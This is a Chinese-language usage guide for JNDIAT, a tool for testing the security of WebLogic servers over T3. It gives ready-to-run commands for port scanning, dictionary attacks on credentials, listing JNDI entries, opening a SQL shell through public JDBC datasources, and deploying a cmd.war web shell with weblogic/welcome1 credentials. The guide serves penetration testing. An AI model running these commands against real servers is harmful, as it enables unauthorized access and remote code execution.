JNDIAT(JNDI攻擊工具)是一款開源的通過T3協議測試Weblogic server安全性的工具。
JNDIAT使用示例:
搜索是否有可通過T3協議訪問的Weblogic端口;
遠程搜索有效帳戶以獲取特權連接;
列出可訪問的JNDI(Java命名和目錄接口),以了解你在遠程Weblogic server上可以做執行的操作(無需/使用WebLogic帳戶);
使用不受保護的(即“public”)JDBC數據源,來獲取遠程交互式SQL shell;
在Weblogic server上部署應用(例如War)以獲取Web shell(需要帳戶)。
*已在Oracle Weblogic 11上進行測試。
特性
同時支持T3和T3(T3 over SSL)連接。JNDIAT會創建一個本地臨時Java KeyStore來驗證Weblogic server的證書;
支持使用空憑證進行身份驗證,即login=” and password=”。 默認情況下,在Weblogic中公共JDBC數據源可以與空帳戶一起使用(已在version11上測試);
如果weblogic在域中,則支持targets;
檢測可通過T3協議訪問的端口;
通過字典攻擊查找有效憑據;
獲取可通過特定帳戶(或無帳戶)訪問的JNDI列表;
通過JDBC數據源獲取遠程sql shell;
使用特權帳戶,你可以在weblogic服務器上部署應用程序獲取Web shell。
使用示例
下載安裝最新版本的jndiat:https://github.com/quentinhardy/jndiat/releases
查看幫助
java -jar Jndiat.jar -h
JNDIAT 版本
java -jar Jndiat.jar --version
端口掃描
該模塊用于掃描可通過T3(或T3)協議訪問的端口,獲取JNDI列表。
使用7001端口建立一個T3連接:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports 7001
掃描7001和7002端口:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001,7002'
掃描7001到7010之間的端口:
java -jar Jndiat.jar scan -s 192.168.56.101 --ports '7001-7010'
JNDIs列表
該模塊用于獲取通過T3協議可訪問的JNDI列表。此模塊非常有用,可以讓你知道某些JNDI是否可以在不進行身份驗證的情況下訪問(例如:“public”JDBC數據源)。
獲取192.168.56.101服務器7001端口可訪問的JNDIs:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001
如果未在命令中指定憑據,則JNDIAT將為我們返回無需身份驗證即可訪問的JNDI。如果你知道有效憑據,則可以使用它來獲取更多的JNDI:
java -jar Jndiat.jar list -s 192.168.56.101 -p 7001 -U username -P password
JDBC數據源
此模塊允許你通過JDBC數據源獲取遠程SQL shell。
從JNDI數據源獲取交互式SQL shell:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell
JNDIAT將會詢問你所使用的JDBC數據源。如果你知道數據源名稱,則可以進行指定:
java -jar Jndiat.jar datasource -s 192.168.56.101 -p 7001 --sql-shell --datasource='jdbc/myDataSource'
部署應用
該模塊允許你通過T3協議在遠程Weblogic server中部署應用程序(例如.war,.ear)。要使用此模塊,你可能需要有高權限(一個帳戶那是必須的)。
以下命令將在遠程Weblogic server上部署“cmd.war”應用:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file cmd.war
從遠程weblogic server取消部署先前的war(’cmd.war’)應用:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy
使用–display-name選項更改weblogic server上部署的應用程序名稱:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --deploy --appl-file 'cmd.war' --display-name 'appli-name-displayed'
取消部署名為appli-name-display的特定應用程序:
java -jar Jndiat.jar deployer -s 192.168.56.101 -p 7002 -U weblogic -P welcome1 --undeploy --display-name 'appli-name-displayed'
|